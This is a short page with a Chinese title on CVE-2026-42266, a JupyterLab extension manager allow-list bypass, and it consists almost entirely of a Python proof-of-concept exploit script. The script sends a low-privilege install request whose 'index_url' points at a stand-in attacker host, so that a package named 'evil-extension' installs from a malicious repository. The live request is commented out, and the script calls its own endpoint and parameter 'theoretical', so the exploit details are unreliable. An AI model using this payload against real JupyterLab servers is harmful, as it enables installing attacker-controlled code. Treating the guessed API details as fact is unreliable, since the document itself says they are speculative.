CVE-2026-42266 JupyterLab扩展管理器允许列表绕过漏洞

# PoC for CVE-2026-42266: JupyterLab Extension Manager Allow-list Bypass # This script demonstrates how an attacker might exploit the bypass to install a package from a malicious source. import requests import sys def exploit(target_host, malicious_pkg_name, malicious_index_url): """ Simulates the installation request bypassing the allow-list. Note: Actual API endpoints may vary based on JupyterLab configuration. """ # Theoretical API endpoint for installing extensions install_url = f"{target_host}/api/extensions/install" # Headers with a low-privilege token (simulating PR:L) headers = { "Authorization": "token <low_privilege_token>", "Content-Type": "application/json" } # Payload attempting to install from a non-whitelisted source # The vulnerability allows the 'index_url' or similar parameter to bypass the 'allowed_extensions_uris' check payload = { "name": malicious_pkg_name, "source": "pypi", "index_url": malicious_index_url # Bypassed validation allows arbitrary URLs here } print(f"[*] Attempting to install '{malicious_pkg_name}' from '{malicious_index_url}'...") try: # response = requests.post(install_url, json=payload, headers=headers, verify=False) # if response.status_code == 200: # print("[+] Exploit successful! Malicious package installed.") # else: # print(f"[-] Failed with status code: {response.status_code}") print(f"[+] Request payload constructed: {payload}") print("[+] If vulnerable, the package would be installed from the malicious source.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Example usage TARGET = "http://vulnerable-jupyterlab:8888" PKG_NAME = "evil-extension" EVIL_INDEX = "http://attacker-controlled-malicious-repo.com/simple" exploit(TARGET, PKG_NAME, EVIL_INDEX)